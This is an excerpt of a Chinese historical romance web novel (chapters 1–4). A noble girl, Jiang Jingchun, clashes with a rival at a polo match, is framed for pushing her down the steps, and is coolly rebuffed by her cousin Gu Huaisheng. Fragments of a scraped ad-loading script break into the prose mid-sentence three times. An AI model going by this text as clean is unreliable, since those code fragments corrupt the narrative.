《小侯爷他口是心非》 1. 第一章 到了三月中下旬,天气便暖和了起来,春光作序,万物和鸣,一派新兴之象。 京郊处,马球场内,一群少男少女玩得正酣,吵闹声都快要扩去了外边。 “传我这来!传我这来!” “不,传我传我!” 太过吵闹,已经分辨不出是谁的声音。 马球这玩样素来是有钱人消遣的玩样,寻常百姓连马都骑不上,一般只有高官贵族才会接触马球,后来马球场也自然而然成了勋贵间的玩乐之所。 今日这地方也不知是被哪位权贵包了圆,来的一堆客人也已经分不清楚是谁的友人。 球场上头,一身着红色劲装的少女格外引人注目,她的头发高高束起,一头乌密的马尾随风飘荡,分明是柔和没有锐气的眉眼,可却因这身打扮稍带了几分凌厉之气。 莹白的肌肤在阳光更显得透亮,被风吹起的马尾似乎都有了形状。 “这姜净春生得倒还真有几分姿色。” 看台上,一个贵女看着人群中那抹丽色,出声评道。 在场上的几人之中,独她格外出挑亮眼,让人忍不住将视线往她身上投去。 那贵女话音放落,旁边就有人讥道:“呵,好看又顶什么用,若好看能讨人喜欢,顾小侯爷不早从了她?” 这人口中的小侯爷便是京城顾家贺阳侯府的嫡长子。 顾淮声。 姜净春喜欢顾淮声的事情,京城大半人都知道。 姜净春的父亲是吏部尚书,正二品的官职,姜家祖上有德,虽前些年间出了些事,但好在后来也重振了门楣,算起来也算是实打实的勋贵人家。正二品的官,在场这些少年人的父亲,若见到了姜父,大半都要低个头。 算起来,顾淮声的母亲是姜尚书的妹妹,这样说,他同姜净春还有一层表兄妹的干系。 姜净春是姜尚书的嫡亲女儿,素日被她母亲娇惯,要什么就有什么,整个人被养得狂性得不行。在看上了自家的表兄之后,她就借着两人这层“不干不净”的表兄妹关系,没少往顾淮声面前献殷勤。 只可惜了,顾淮声连瞧都不愿意多瞧她一下。 “她这人被家里头的人捧着长大,没脸没皮惯了,前些时日,听闻她去了顾家,好像是见到顾小侯爷身边有个漂亮丫鬟,就非闹着要赶走她。” 另外一人有些不信,就算这姜净春再如何无礼,也不当闹到侯府才是,“你这话可当真?” “自然是真,这事也是我从旁人那里听来的呢,大家私底下都在说呢,你没听说,所以可能就不知道。” “她这人,漂亮脸,坏心肠,可怕得很呢。” 马球场上,策马扬鞭的姜净春丝毫不知有人在编排她,她玩得正起劲,然而,下一刻马球就往她背上打了一下,她一时不查,挨了个正着。 那双好看的眉头微微蹙起,心下暗忖。 故意的?打这么正好? 还不待她抬头寻人,又挨了一下。 得了,就是故意的。 她抬头往背后看去,就见一个同她年岁相仿的少女,手上拿着长杆似笑非笑望她。 姜净春望她良久,才认出这人是谁。 好像是鸿泸寺卿家的二小姐,楼妍妍。 大家既能凑到一起玩,多少也能知道些对方的身份。 此刻,楼妍妍的身后还簇了几个小姐,看着是平日里头同她交好的那几个。 “不能玩就下场,打这么脏做些什么?” 春季劲装本就单薄,她白白挨了两球,痛得秀眉紧蹙。现下看着故意来找茬的楼妍妍,语气自然好不到哪里去。 楼妍妍翻了个白眼,凉凉道:“怎么了,你这么玩不起啊?打马球磕磕碰碰常有的事,姜小姐这么金贵,不小心碰你两下就受不了了?成,不打就不打,您的千金之躯,我们可碰不得。” 说罢,她便领着身后的那群人离开了此处。 分明是她先动的手,可现在这样不阴不阳的,倒显得是姜净春小肚量。 姜净春也不知道自己是从何时开始得罪过她,除了那故意的两球,方才自从打马球开始之时她就频频针对于她。 周围有人见此,已经上来打起了圆场,他们这里的人,大家的父亲都同朝为官,抬头不见低头见的,没必要闹得这样难堪。 “好了好了,这楼小姐许也是不小心的,不计较这件小事了,我们玩我们的去。” 一旁同姜净春交好的手帕交回怼了那个和事佬,“小事?第一下是不小心,第二下还是?你糊弄谁呢......” 还不待她话音落地,姜净春就跳下了马,捡起了滚在脚边的马球,往还没有走远的楼妍妍背上砸了过去。 周遭人都被姜净春的举动惊到,一时之间,皆噤若寒蝉。 楼妍妍猝不及防吃痛,尖叫了一声。 过了许久,她才缓过神来...... 姜净春竟敢这样明目张胆地砸她?还要不要脸这个人! 她转过身来,面露凶色,可还没来得及张口,就听姜净春轻飘飘道:“哦,不小心的,楼小姐不会这样也生气吧?太小气了些。” 姜净春说完这话,就下了场,不去理会气生气死的楼妍妍。 看台上的人显然也注意到了这处的动静,但他们离得远,也不知具体是发生了什么事,只知道隐约好像是姜净春同楼妍妍那群人起了什么争执。 “果真是个不省事的,走到哪里,都能到处惹事。楼妍妍也是胆大,还敢同这祖宗起争执,一会她回去往她娘亲怀里一哭,真是要翻了天了。” 旁边的人不认可,“这是哪里的话?她也就在姜家作威作福罢了,出了门,难道谁都要让着她不成?” 她们没有再说,只知道有好戏要看了。 * 出了那么一桩事,姜净春也没了继续玩下去的心思,她带着贴身丫鬟花云去了静室换衣裳。 今天日头大,春天的空气也都带了几分烫意,她打了两场马球,身上也已经出了不少的汗,劲装黏在身上,有些难受。 姜净春脱去了外头的衣裳,又脱去了里头的中衣,花云给她递了更换的衣服,却撇到她的背上青了两块。 那被球砸出来的红肿在雪白的背上异常晃眼。 花云有些着急,道:“那楼小姐怎么这样没轻没重的,都红了呢!” 确实是有些疼。 但姜净春没放在心上,“别气,我也打回去了呢,到时候回家再上些药就好了,没甚要紧。” 花云可不这样想,“怎么会不要紧呢,万一叫夫人瞧见,一定又要心疼的。” 姜净春的笑了笑,还是不在意,“傻花云,我又不会脱光了给她瞧,没什么事。” 换完了衣服,姜净春便出了这里。可方一开门,门外将好就有人也要破门而入,两人差点撞到了一处。 她叫吓了一跳,抬眼就看到了来的人原是方才找茬儿的楼妍妍。 姜净春没打算理会这个蛮牛,错身就要离开。 可还没走出两步,身后就传来楼妍妍的声音。 “你这人真不要脸。” 姜净春顿住了步,她回了身,走到了楼妍妍的面前。 她重复了一遍她的话,反问道:“我不要脸?” 她换回了寻常的衣服,一身鹅黄裙衫不再让她似方才那样凌厉,未施粉黛,却粉腮桃面。 或许是这副样子让人觉的她有些好欺负,楼妍妍丝毫不曾退让,挺着胸板回怼道:“我有说错吗?你成日缠着别的男人,说你不要脸我说错了吗?!” 姜净春听她这酸里酸气的话,现在算是听明白了,她问,“你喜也欢我表兄?” 难怪她今日来找茬。 谁知楼妍妍却急了,“你少来给我胡说八道!” 姜净春见她急成了这幅模样,脑海中思索片刻,才想起来这楼妍妍好像有心上人的。 这事不少人都知道。 她不喜欢? 姜净春道:“那就是你姐姐喜欢。” 语气不是疑惑,而是肯定。 楼妍妍的姐姐确实喜欢顾淮声不错。 这京城中,没有哪个女子会不喜欢顾淮声。 顾淮声出身贺阳侯府。 侯府的先辈,当初跟着先/祖一起建功立业,是元老人物,建朝以后,先/祖特为其封侯赏金,开设府邸。其等尊荣,时人羡之。如此便罢,后世小辈亦出人头地,延续荣宠,直至今日,侯府五世正德,根基深厚。 顾淮声这正儿八经的小侯爷,身份尊贵自不用说,加之其人玉树盈阶,尚未弱冠之时就已中了探花,在翰林院待了三年之后,又升入都察院,在里头待了不到两年,竟已坐到了正四品的左佥都御史的位置。 兜兜转转到现在也才不过二十一的年岁。 放到寻常人的身上,谁敢想。 顾淮声是族中最出色的子弟,是小辈们的楷模典范。 他是檐上雪,窗边月,可望却不可及。 这样好的人,没人不会喜欢。 可也不是所有人都喜欢他,他就要喜欢所有人。 按照他那个性子来说,好像也不大可能。 姜净春的话又不知道是哪里戳中了面前的这个火药桶。 楼妍妍噼里啪啦,嘴巴里头又开始倒起了豆子,“我姐姐为了他至今都未曾嫁人,你这个人,分明那样讨人嫌,还老是往人跟前凑做些什么!” 姜净春真有些看不懂楼妍妍这人,她快叫她给气笑了。 若顾淮声真同她在一起了,楼妍妍来同算这个账,她或许还能同她掰扯掰扯,可顾淮声连看都懒得看她。 她自己都还眼巴巴的求而不得,还管得着旁人的事? 楼妍妍这憨货也不知道怎么想的,现在就把这事怪罪到了她的身上。 “关我什么事情?又不是我让他别喜欢你姐姐的,你有本事寻他算账去。” 看着眼前气急败坏乃至于龇牙咧嘴的楼妍妍,姜净春脑中却想起来一桩别的事情。 前些时日她去顾家,将好就撞见了一件不该看的事情。 顾家的丫鬟想要爬顾淮声的床,后来被送到了侯夫人的面前,赶人出了府。可这事也不知道是被谁传的去,竟说是姜净春看不惯有美貌的丫鬟在顾淮声身边,才闹着把人轰走。 偏偏外头那些没脑子的,一个个还都信了。 她本还在想是得罪了谁,才被人散播谣言,意图毁她声名。 好啊,现在这人自己就跑到了眼前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ! 她大步上前抓上了楼妍妍的衣领,质问她道:“喂,前段时日的谣言是不是你散去的?!” 楼妍妍被姜净春逮着衣领,勒得实在难受,奋力推了她一把。 “就是我又如何!你个腌臢小人,我说错了吗!” 两人吵闹的声音有些大,已经引了旁边人的注意。 楼妍妍一天天的也不知道是哪里来的牛劲,姜净春被推了一把险些站不稳,好在旁边的花云堪堪扶住了她。 姜净春才不白白受这气,先是被人诬陷,后又被如此挑衅,她再忍下去,迟早给自己气出毛病来。 她上前,也用力推了回去。 “你是什么变态狂徒不成?尽打听旁人的家事!” 她还想再骂她两句,可却见楼妍妍挨了推,竟直直往后踉跄了好几步,背后就是几步台阶,姜净春看她在台阶边缘顿了片刻,而后竟忽朝她露出了个笑,接着,她就往台阶后头倒去。 楼妍妍这个疯子,自己给自己摔下去了。 姜净春脑袋空白了一瞬,接着就听见周遭传来了一阵尖叫。 她在上面,看着摔倒在下面又哭又喊的的楼妍妍,分明摔倒的人是她,姜净春却头疼得厉害。 完了,闯祸了。 方才她们发生争执的时候一旁就已经有人注意到了,楼妍妍摔下了台阶之后,周遭瞬时间就围满了人,皆对姜净春指指点点,无非是在说她出手推人。 姜净春动手一事,他们都看得清楚,即便说她分明看到楼妍妍在摔下台阶之前冲她恶意地笑了笑,分明看到她已经停住了步,可她最后还是摔下去了。 在旁人的眼中,就是她动的手。 姜净春就算解释,旁人也不会听的。 周围吵吵闹闹,姜净春晃在原地,难得有些不知所措。 很快就有医师从别处过来,也好在楼妍妍这回没有摔到骨头,没有摔到脑袋,身上只是有些擦伤罢了。 可她却哭得撕心裂肺,像是受了天大的委屈。 旁边看热闹的人一些安慰着楼妍妍,一些则三言两语讥讽着姜净春。 “姜小姐好生无礼,不过拌两句嘴罢了,瞧你这架势,是想奔着取人的性命去的?” “就是,便是动手也不该如此,大家都是姑娘,这一摔若是破了相可如何是好?” 这些质问声吵得姜净春有些头疼,她辩驳道:“她先推的我,我怎么不能推她了?” 楼妍妍喊出了声,“我又不曾伤了你!” 姜净春知道自己是挨了她的算计,一口气哽在喉咙不上不下,青了脸站在一旁。 “你就该给我道歉,给本小姐好生好气道歉,我才能考虑考虑原谅你!” “你做梦去。”姜净春看都不看她,撇了头道。 她污她声名,算计了她,到头来还想叫她道歉? 姜净春的好友陈穆清也赶来了此处,她来的路上就听说了这处发生的事情。 陈穆清赶到了这处之后,挤进了人群之中,她不顾旁人阻拦,凑到了楼妍妍面前,强硬掀开她的衣袖查看。 陈穆清出身将门,平日里头没少舞刀弄枪,气力自然比寻常姑娘大些,楼妍妍挣也挣不开她。 陈穆清看了看,而后道:“你这也就破了点皮的事,搁几里开外就听你喳喳呜呜,吵不吵。” 她讥讽了她两声,楼妍妍当即就喊道:“你以为谁都跟你一样皮糙肉厚似的,怎么了,那难道不也是受了伤吗!” 旁边的人也纷纷附和。 陈穆清不过是喜欢耍枪弄剑罢了,人一水灵灵的小姑娘,在她口中竟成了皮糙肉厚。 姜净春见好友被人围击,也不再忍气,插着腰就和陈穆清一起同人骂了起来,一时之间,拌嘴声快要将这处淹没,七嘴八舌的,都已经分不清楚是谁在说话。 就在此时,人群中不知道是谁先开口说了一句,“顾......顾小侯爷。” 瞬时间,此处就安静了下来。 然而姜净春越吵越是生气,哪里还曾注意到旁处的动静,直到一旁的陈穆清疯狂地扯她的袖子,她才反应过来,四周也不知是从何时开始没了声音。 两名男子清风朗月,披风走来。 旁边的人不约而同空出了条路来。 姜净春甚至都忘了将插在腰上的手拿下,活像个小泼妇,她扭头去看,就见到她的兄长和顾淮声正朝这处走来。 身着白色锦服的男子格外吸人眼球,她的视线完完全全落在他的身上, 随后呼吸一滞,瞬间噤声。 表兄怎来了?! 男子从不远处走来,他一身织金白玉锦袍,腰间绦带束腰,衬其身形更加挺拔。面如冠玉,眉眼清隽,阳光洒在他的面庞都像是为他镀上了几层金光,在他不说话之时,脸上总是带着几分淡漠疏离,让人觉得高不可攀。 顾淮声一出场,旁人的注意力就全放到了他的身上。 方才还都在争着去吵的众人,瞬间皆无言。 姜净春不知道他们两人是从什么时候来的,也不知道顾淮声为什么会和自己的哥哥一起出现在此处,但,她更觉天昏地暗。 表兄本来就不大喜欢她的,今日她打人被他看到,只是怕是更要讨厌她了。 2. 第二章 一片死寂之中,姜净春的哥哥姜润初先开了口。 他看着姜净春,声音都似要冷出了冰,“你又再这处闹些什么。” 今日三月二十,是休沐日,他没去上值,顾淮声也是。 顾淮声今日本是趁着得空,跟着他的母亲侯府夫人一起回门去看望姜老夫人。一行人本来一同聚在姜老夫人的荣德堂处,陪着她说些闲话,可就在方才,从外头匆匆跑来了一个小厮,说是姜净春在外头同人打架,伤了人,又惹出了不小的事来。 姜夫人听到这话快叫急坏了,当即就想出门,姜润初怕母亲去了更要闹腾,便拦住了她,自己去了,侯夫人怕姜夫人不放心,便让顾淮声陪着一起。 姜润初来的时候已经听姜家的小厮说清了来龙去脉,无非就是两个小姐一开始打马球的时候闹了不愉快,而后,两人吵着吵着,去了静室那处又撕扯了起来,不知怎地还动起了手来。 而后,就有了姜净春将人推下了台阶一事。 姜润初向来是不喜欢自己这个爱闹腾的小妹,先入为主,上来便先训斥了她。 “既推伤了人,便同人道歉,不要这般无礼。” 毕竟摔下台阶的楼妍妍,今日这事若真传了出去,旁人怎么也都会说是姜净春的过错,是姜家的过错。 姜净春想要辩驳,这事分明就不是她的过错。 她争道:“我为什么要同她道歉,她先去让人说我坏话,后来打马球的时候又砸了我。方才她分明也推了我,难道因为我没摔,她摔了,所以我就要同她道歉吗?” 这根本就不是什么道歉不道歉的事,若是道歉了,那便是认下了今日这事,相当于告诉所有人这全是她的过错。 她才不甘心。 姜润初被她这话说得一愣一愣的,眼看两兄妹自己就要先争起来了,楼妍妍坐在一旁看起了戏,眉眼挑衅地看着姜净春。 姜净春看她那副小人得志的样子,更是憋闷,偏偏自己哥哥还一直想息事宁人。 姜净春不再看他们,撇开了头去,执拗不肯低头。 少女脸颊被憋得通红,眼眸之中忍不住泄出了几分怒气,平日里头软绵绵的人,今日活像是个刺猬。 楼妍妍看她一副宁死不屈的样子,作势离开,“成,那你便犟嘴不说,今日这事我说出去,好让大家评评理。” “不说不说,就是不说!就你有嘴巴,你去说,我也去说!我也去同你的王哥哥好好说说你这人,让他看看你到底是什么嘴脸。” 犟嘴谁还不会。 楼妍妍听姜净春提起了心上人,脸色涨得通红。 这事大家都只是私底下说说,可明面上谁都没有提起过,今日却叫她一下子抬了上来。 她气得不行,上去就想撕罗她,可姜润初却先她一步动作。 他扯回了姜净春,制住了还要争吵的她,厉声训斥,“够了,还在冥顽不灵,想要闹到何处去?” 姜净春同别人吵闹,同别人打架,她都不会如何,可姜润初偏向外人,她受不了。 她被他扯得生疼,眼眶竟不自觉发红。 “我不是母亲,你犯不着在我们面前这样。”姜润初铁青了脸色说道。 他不觉自己说了什么重话,只觉面前之人是在做戏,想躲了罚,才故意这样。 “哥哥不分青红皂白,好不讲道理。”她不愿再理会他,说完了这话就拧开了头,连看都不再看他。 她声音听着十分委屈,眼睛湿润,两滴豆大的泪蓄在眼睛里面要落不落。 眼看场面僵持住了,最后还是顾淮声先出了声。 他看了眼姜净春,又拍了拍姜润初的肩膀,示意他莫要再争。 而后,他往楼妍妍的方向走去。 一阵春风拂过,吹得他衣角猎猎,周围人不自觉地退开,给他让路。 算起来终究也是姜净春的表兄,今日这里闹了这样的事,若最后就这样僵持下去,一会回了姜家,他也不好同家里人交代。 再怎么样,先处理了此处的事情再说。 他走到了楼妍妍面前,出声问道:“楼小姐可否借一步说话?” 他的声音清缓,似泠泠击玉,清脆悦耳。 楼妍妍看着突然走近的男子,面色虽然还是不算好看,却还是应了声。 两人走去了一边,顾淮声先行开口,“听表妹的话,方才好像是你先动的手?” 楼妍妍似没想到顾淮声先问了这样的话,她稍稍愣了片刻,还没来得及回答又听顾淮声道:“前些时日顾家有个丫鬟犯了事,被赶了出去,只是不知道后来这事被谁传了出去,竟传到了表妹的身上,姑母听说了这件事,很是上心,方才还一直在家中念叨。” 同方才一样的嗓音,就连语气也没什么变化,但这回的声音,楼妍妍听着怎觉那么刺耳。 她的脸色不自觉有些发白。 顾淮声的话是什么意思,别人不明白,她难道还不明白吗。 若真要去追究下去的话,究竟是谁对谁错,还有什么好说的。 况说,那件关乎姜净春谣言的事情,终究也是牵扯到了侯府...... “小侯爷这话是什么意思?”楼妍妍脸色有些难看了下去。 顾淮声淡淡道:“楼小姐想来也不会不知道自己做过什么事情,我是什么意思,你想来再清楚不过。” 那两人去了一旁也不知道是说了些什么,姜净春的视线一直落在顾淮声的背上,她有些不安地扣弄着手指头,也不知是在想些什么。 终于那两人说完了话,而后在众人的注视之下回来了此处。 也不知道顾淮声是同楼妍妍说了些什么,她果真就没有再争下去,只是狠狠瞪了眼姜净春便甩袖离开。 两人离开之后,姜润初看了眼仍不肯说话动作的姜净春,道:“还愣着?” 姜净春不搭理他,只是走到了顾淮声面前,垂眸说了声,“多谢表兄。” 这事虽然说是被解决了,可姜净春并没有多好受。 尤其是,方才她那副样子还叫顾淮声瞧见了,他会不会觉得她很刁蛮? 他肯定很讨厌这样的她。 面前的小姑娘眼角还有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些泛红,看着还像是在委屈。 顾淮声面上仍旧无甚表情,淡淡回了姜净春的话,“无妨。” 这处的人见事情已经差不多结束,也差不多散了开,三人也出了马球场,往姜家回。 姜净春跟在两人的身后,同他们上了一辆马车,然而屁股还没坐稳,就听得姜润初出声道:“你自己不是坐马车来的吗?挤死了,回你自己的马车去。” 车厢很大,四面挂着丝绸帐带,嵌着珠宝的挂帘被掀在一旁,日光从窗牖透进,照得里头更加敞亮。 这样大的马车,坐四五个人都绰绰有余,怎么坐三个人就挤着他了? 姜润初素来是同姜净春不对付的。 两人是同父同母的亲兄妹,姜润初今年二二,比姜净春大了整六岁,如今在翰林院中任职。同顾淮声相比,姜润初这人更要老成一些,总是喜欢板着张脸,尤其是在姜净春面前,活像她欠了他千万两银钱。 姜净春不懂事、爱惹事,刻板守礼的姜润初不喜欢这样的妹妹好像也在情理之中。 不过姜净春也讨厌这个哥哥,平日里头她也不稀罕和他坐一处,只是今日顾淮声也在,她才不要下马车。 她没理会他的话,自顾自上了马车,往顾淮声旁边坐去。 她悄悄地觑一旁的顾淮声,没见他有不愉之色,便松了口气。 算起来他是她同族的兄长。 顾淮声像是一朵高岭之花,不惹凡尘,在这些小事上他向来是懒得同自己计较的。 就像是个调皮的孩子舞到了大人面前,他越是理她,她便越来劲,倒不如眼不见为净。 反正只要是不沾惹到他的身上,他便总面无表情坐在一旁,连瞧也不会瞧她一眼。 一声有力的马蹄声从外头传来,华贵的马车开始行驶。 姜净春还因着方才的事情憋闷,一旁的姜润初又开始教训起她,“能不能把你那头发梳好了先,乱七八糟像什么样子。” 方才打了场马球,束起的马尾有些凌乱,车厢之中,同那端端正正的两人比起来,她看着确实有些不大入流。 姜净春听得他训斥,不满得瘪了瘪嘴,但念及顾淮声在一旁,没有同他相争。 “知道了。” 她不情不愿应了声,解开了束着的发开始扎个简单的发髻。 她同顾淮声挨得不近,但这番动作难免擦蹭到了一旁的人。她的头发细腻如丝,头上抹着茉莉香的头油,还带着几分清香的发,就那样不经意间擦过了旁边顾淮声的脸颊。 顾淮声只觉脸侧一阵瘙痒,怀疑她是故意捉弄于他,那双好看的眉头微蹙。 一旁的姜润初注意到了顾淮声的不耐,他方想出声让姜净春老实一些,可不知怎地,这奔驰的马车忽然被急急刹住,里头的人一时之间东倒西歪。 那两人倒还稳得住,可姜净春本就在系发,没能稳住身形,就这样直直往一旁的人身上摔去。 少女身上清甜的气息就这样猝不及防地撞入鼻尖,顾淮声眉头虽蹙得更紧,可还是伸手扶了一把就这样猝不及防撞入怀中的人。 3. 第三章 姜净春被这突然急刹的马车晃了个干脆,再反应过来的时候人已经趴到了顾淮声的腿上,若非是被他扶了一把,人只怕已经要甩到了地上。 他的大掌牢牢攥住了她的臂膀,那近在咫尺的清冽冷香,就这样猝不及防地闯入了她的鼻腔。 姜净春叫这突然的变故吓到,她急急抬头他望向他,两人视线相撞,她的头发扎到了一半,因这一摔,青丝又重新散落在了肩头,一双圆愣的眼中,尽是惶恐,像是做了什么天大的坏事。 或许是因为顾淮声的脸色算不得好看,她生怕这样的事情会惹恼了他。 毕竟,他本就不大喜欢她。 她这样的动作,他一定觉的冒犯。 还不待他们任何一人开口,姜净春就已经慌忙起身,看着顾淮声的眼神带了几分欲哭无泪。 她嗫嚅开口,“表兄......我不是故意的。” 果然是个孩子,说着喜欢,可真要接触起来,竟就这样慌成了这样。 怀中的温热瞬间抽离,顾淮声甚之都还没有反应过来。听着姜净春的话,没有看她,却也能猜出她的神情。 他伸手抚平了衣上被弄出的褶皱,不甚在意地回了姜净春的话。 “无妨。” 还是无妨......好像不管她做了什么事情,他都不会放在心上。她无论怎么样,也都不会引起他情绪的波澜。 有风从窗户的缝中透进,发丝拂过她的肌肤,带来了一阵瘙痒,她才后知后觉想起,头发还不曾束好。 她抬头摸上了头发,却被姜润初提去了他的旁边。 姜净春瞪他,却被他训道:“还想烦你表兄吗?” 姜净春看了看顾淮声,他面上已恢复了平日的表情,有些冷,也不知道是在想些什么。 看着眼前佛面冷心的男子,许是被他透出的寒气侵染了些许,姜净春连同兄长争辩的心思也没有了,闭上了嘴巴,怄气似的瞥开了头,连头发也不肯扎了。 看她这样,姜润初哪里不知道她是又使起了大小姐脾气,没法,总也不能让她这样披头散发回去,到时候若叫母亲瞧见,不知道又要想到哪里去了。 他叫停了马车,让花云上来给她扎了发。 回到了姜家的时候已经有些晚了,姜净春是晌午的时候出的门,现下回来之后,天已将近傍晚。 一行人往老夫人的荣德堂去,姜夫人和顾家夫人正候在那处。 两位妇人坐在堂下,面容姣好,保养得一个比一个得当,丝毫看不出已经有了四十多的年岁。 听到外头传来了动静,知道是姜净春他们回来了,姜夫人马上起了身迎过去,将女儿拉至跟前,上下左右查看了一番,见没什么大碍才松了口气。 她嗔怪道:“出去打个马球,怎么还同旁人争起了?吵就是了,怎么还打起来了。” 姜润初在一旁听得头疼,也难怪姜净春这脾气,还不是叫母亲宠的。 他看着两人在那边腻歪,没好气道:“是她自己将楼家的二小姐推下了台阶,她能伤到个什么劲?自己伤了人便罢了,人不过是要她一句的道歉的话,这也不肯说。若非是伏砚出面,今日她也干脆别回来了,叫旁人的唾沫淹死得了。” 一旁的顾淮声见提及了自己,垂首道:“都是我该做的。” 姜夫人显然也没将这话放在心上,她打了岔,道:“人不是没事吗,不道歉就不道歉,有什么打紧的......” 即便说姜净春也觉的母亲说的这话不大像话,但想到了楼妍妍那人,使这脏手段来污她,更不觉自己有什么过错了,甚之还躲在了姜母的后面给姜润初使鬼脸,一副“你能奈我何”的讨打模样。 姜润初叫她这幅样子气得喉中一哽,一口气上不去下不来的。 他脸色铁青,再待不下去,说了一句,“您就惯着她!”,话毕,拂袖离开。 顾淮声也不再继续待下去,道:“我去看看他。” 便也跟了出去。 顾淮声走后,姜净春的视线也不自觉落在他离开的方向。 过了一会,她松开了姜夫人的手,也往外头去了。 顾夫人想要拦她,但姜夫人却挡了回去。 没法,她也只能眼睁睁看着姜净春跟了出去。 几人哪里不知道她是想去做什么,顾淮声一走,她也走,多半是又要去烦着他了。 顾夫人最知道自己的儿子是什么脾性,那样冷心冷情的人,又怎么会喜欢姜净春那样的人呢。 她日日烦扰他,他也只怕是更加不喜。 顾夫人回了自己的位子坐下,不好直接拿姜净春去烦顾淮声来说事,那样对两个人的名声都不大好,本来也没什么,只管推说是表兄妹罢了,若非要去扯,倒有此地无银三百两的意味。 她捡起了方才姜润初的话,没好气对姜夫人道:“这事终归是小春动了手,你这样包庇她,传出去哪里像话。” 顾夫人向来直言,方才她多少也觉着姜夫人那话说的有些不大对了。 孩子都在,她也不好直说,若让姜净春听见了,只怕会以为她是对她有意见。 她对姜净春没意见,可对惯坏了她的姜母颇有成见。 好好的一个孩子,就这样被她宠得没边了。 姜夫人不以为然,淡淡道:“我疼自己的孩子,哪叫包庇。” 顾夫人被她这话一噎。 是了,她若能听进去,才是奇怪了。 她转头对姜老夫人告明状,她道:“母亲,您看嫂嫂这样,她不管小春,您总该管管。” 顾夫人在成婚之后,也时常会回来姜家,同这个大嫂嫂的关系还算不错。 可不明白,她在什么事情上面都拎得清楚,一碰到孩子,就这样不讲理。 虽说,为母则刚,可也不该这样个道理。 姜老夫人正坐在主位,合眼休憩,许久不曾开口说话,听到了这话,她终于开了口,她道:“晚些时候,让她来我这里。” 姜老夫人是出了名的严厉,来她这里?那岂不是要挨罚吗。 姜夫人当即想说些什么拒绝的话,可姜老夫人像是知道她想说些什么,盯了她一眼,分明是不咸不淡的一眼,却让人没由得发虚。 她快到六旬,满头覆满了银丝,眼中带着古稀老人必不可少的浑浊之气,可即便如此老态,那张被岁月摧残的脸,看着却精气十足,就连说话也不见得哆嗦缓慢,不像沧桑老人。 这姜老夫人说起来也是一位传奇人物。 姜家门庭深厚不错,可就在前几十年间差点经历了灭顶之灾,当年皇位之争中,姜老爷因站错了队而被贬至偏远苦寒之地,从云端跌落了泥潭,他备受打击,就那样患了重病, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一蹶不振,死在了南地,最后只留下了姜老夫人和三个孩子。 孤儿寡母,姜老夫人硬生生扯着三个孩子活下去。 后来,姜家大爷,科举中了状元,一家人才终于搬回了京城。 老夫人当年一个人辛辛苦苦拉扯了孩子三个人长大,阖府上下,没有人不敬重于她的。 就连姜尚书到了连孩子都已要娶妻嫁人的年纪,也仍对其唯命是从。 她的话,怎么都要听。 姜夫人知道,自己再开口也拗不过她,索性也闭了嘴。 她心不甘情不愿道:“好,晚些我让她来。” * 另一头,姜润初出了这处之后,顾淮声也紧随其后。 姜润初听到身后的动静,回过身去看,才发现他也跟了出来。 他问道:“你跟来做些什么。” 他这气显然还没消下去,饶是现在同顾淮声说话,语气也算不得多好。 顾淮声也没放在心上,他走到了姜润初的身边,两人信步闲逛,并肩而行。 顾淮声道:“前些日子,关乎你妹妹的传言,你可听说了吗?” 姜润初显然是不知道 他蹙眉,问道:“什么东西?” 顾淮声将楼妍妍做的那些事情同他说了。 他道:“今日她推楼家二小姐下了楼梯这事,究竟谁对谁错,不好轻下定论。” 可即便如此听了,姜润初脸色也仍旧没有所好转,“那即便是楼家小姐先做了什么不好的事情,可她也不该如此。往后都要像她这样行事,岂还得了。” 顾淮声也明白他的意思,没再说了。 可姜润初像是想到了什么,他道:“你竟帮她说话?难不成你......” 他想到今日的事情也还是顾淮声出面解决的。 顾淮声不知他为何会想去那处,面上难得露出几分惑色,而后似又是觉得他这话有几分可笑,竟轻笑出了声。 “小孩而已,都是同族的兄妹,她犯了什么事,帮个忙,有什么奇怪的吗。” 男子脸上清冷如雪,口中吐出的话也的清清冷冷的,无悲无喜,像是在说一件什么再微小不过的事情。 他虽年岁不大,可在官场之中算起来竟也混迹了有四五年的时间。 这期间,他什么样的人不曾见过。 姜净春于他而言,不是小孩是什么。 孩子的喜欢,来得快也去得快,在他眼中看着,甚之都觉得有些好笑好玩。 “我待她,最多也只是表兄妹而已,就像是待其他的表妹那样。” 不然,还希望他该怎么去看她呢。 不远处追过来的姜净春将顾淮声的话听了个彻底。 小孩而已...... 表妹而已...... 他不喜欢她这样的人,她其实早知道了。 可今日从他口中说出,怎么就觉着这么刺耳呢。 她小吗?她也不小了啊,前些日子都及了笄,按理来说,都可以挑夫家了。 姜净春只觉脑袋有些昏得厉害,像是有团棉花堵在胸口,卡得不上不下,难受至极。 这一瞬间,她都不知道自己是发了什么混,竟走到了顾淮声的面前,仰头看着他问。 “顾家表兄,你不喜欢小孩,那你喜欢什么样的人啊?” 4. 第四章 姜净春近乎孩子气的问题当然不能得到顾淮声的回答。 他从始至终不曾开口,一如往常,冷淡地看着她。 只是眉眼间依稀见得几分不悦。 他可以容忍她无关痛痒的打闹,这对他来说并没有什么干系,只是她当着他的面问这样的问题,实在有些不妥。 他淡着声道:“表妹慎言。” 疏离的话就这样从他口中吐出,他唤她表妹,可姜净春这一刻却觉得她连“表妹”二字都算不上。 话音落地,他不再此地多留。 恰好顾夫人也从堂屋里头出来,两人一行回去了侯府。 他们离开,此处只剩下了姜润初和姜净春兄妹二人。 姜润初看着仍旧望着顾淮声离开方向失神的姜净春,又不满地皱眉,下意识想要出口训斥,可却见她先对他开了口。 “哥哥。” 姜润初看着她,话竟这样被堵住。 他瞥开头去不想看眼前的小姑娘,颇没好气道:“又做些什么。” 她问他,“顾表兄到底喜欢什么样的人啊。” 她到现在,好像都不曾见顾淮声对哪个女子上心,他对谁都是那副拒人于千里之外的模样。 她曾以为,她于他是不一样的。 两年前,姜净春十四岁左右的年纪,一次同友人结伴出去游玩的路上,同他们走散,不小心摔下了山林,她掉入了水中,不知道是被冲散到了何处。 她在山底待了整整两日,本都以为要死在了那里,可在绝望之时,顾淮声出现了。 他抱起了快要死掉的她,不停地拍着她的背说“没事”。 自此以后,她看这个表兄的眼神就不一样起来了。 